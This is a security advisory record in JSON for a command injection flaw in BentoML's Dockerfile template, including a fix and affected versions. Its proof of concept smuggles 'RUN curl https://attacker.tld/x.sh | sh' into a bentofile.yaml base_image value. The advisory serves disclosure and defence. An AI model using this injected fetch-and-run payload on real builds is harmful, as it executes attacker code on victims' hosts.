CVE-2026-44345: Bentoml BentoML Dockerfile Command Injection Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-78f9-r8mh-4xm2",
  "modified" : "2026-06-08T23:49:18Z",
  "published" : "2026-05-11T14:27:06Z",
  "aliases" : [ "CVE-2026-44345" ],
  "summary" : "BentoML Dockerfile command injection via docker.base_image (sister of pending GHSA-w2pm-x38x-jp44 / CVE-2026-33744 / CVE-2026-35043)",
  "details" : "The same Dockerfile template that mishandles `envs[*].name` (pending GHSA-w2pm-x38x-jp44) also interpolates `docker.base_image` raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line `docker.base_image` value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and `bentoml containerize` then runs `docker build` which executes the injected `RUN` directives on the victim host.\n\n## Vulnerable code\n\n`src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:38` (current main, 2026-04-28):\n\n```jinja\nFROM {{ __options__base_image }} AS base-container\n```\n\n`__options__base_image` resolves to `DockerOptions.base_image` (`src/bentoml/_internal/bento/build_config.py:176`):\n\n```python\nbase_image: t.Optional[str] = None\n```\n\nNo `validator`, no `converter`, no newline check. The value is loaded straight from `bento.yaml` in `src/bentoml/_internal/container/__init__.py:206` via `DockerOptions(**docker_attrs)` and rendered as-is.\n\n## PoC\n\nMalicious `bentofile.yaml`:\n\n```yaml\ndocker:\n  base_image: |\n    python:3.10\n    RUN curl https://attacker.tld/x.sh | sh\n    FROM scratch\n```\n\nMinimal reproduction of the unsafe interpolation:\n\n```python\nfrom jinja2 import Environment\nenv = Environment()\nmalicious = 'python:3.10\\nRUN curl https://attacker.tld/x.sh | sh\\nFROM scratch'\nout = env.from_string('FROM {{ __options__base_image }} AS base-container').render(__options__base_image=malicious)\nprint(out)\n```\n\nOutput:\n\n```\nFROM python:3.10\nRUN curl https://attacker.tld/x.sh | sh\nFROM scratch AS base-container\n```\n\nThree valid Dockerfile directives instead of one. The `RUN curl` executes during `docker build`. The trailing `FROM scratch AS base-container` provides the named build stage the rest of the template depends on, so the build proceeds without error.\n\n## Impact\n\nIdentical to GHSA-w2pm-x38x-jp44: arbitrary command execution on the victim's host during `bentoml containerize` of an attacker-supplied bento. Threat model is bento sharing (registry, marketplace, supply-chain handoff). The victim expects `docker.base_image` to be a Docker image reference, not a Dockerfile fragment.\n\n## Suggested fix\n\nValidate `DockerOptions.base_image` at the config layer: reject any value containing newline characters (`\\n`, `\\r`) or whitespace beyond a single space-separated tag. A regex like `^[A-Za-z0-9._/-]+(:[A-Za-z0-9._-]+)?(@sha256:[a-f0-9]{64})?$` covers the practical Docker reference format.\n\nThe same hardening should be extended to other unvalidated fields interpolated raw in `base_v2.j2`:\n\n* `__options__build_include[*]` at line 97 (`COPY ... ./src/{{ name }} ./src/{{ name }}`) — same newline-injection class for path entries from `Image.build_include(*file_paths)`.\n* `bento__user`, `bento__uid_gid`, `bento__path`, `bento__home`, `bento__entrypoint` — currently sourced from server-side defaults but should be defended in depth if they ever become user-overridable through `override_bento_env`.\n\n## References\n\n* Pending sibling: GHSA-w2pm-x38x-jp44 (envs[*].name), itself a sibling-fix-bypass of CVE-2026-33744 / CVE-2026-35043.\n* CWE-78: https://cwe.mitre.org/data/definitions/78.html",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "bentoml"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.4.39"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.4.38"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/bentoml/BentoML/security/advisories/GHSA-78f9-r8mh-4xm2"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/bentoml/BentoML/security/advisories/GHSA-w2pm-x38x-jp44"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44345"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/bentoml/BentoML"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/bentoml/PYSEC-2026-189.yaml"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-11T14:27:06Z",
    "nvd_published_at" : "2026-05-27T18:16:23Z"
  }
}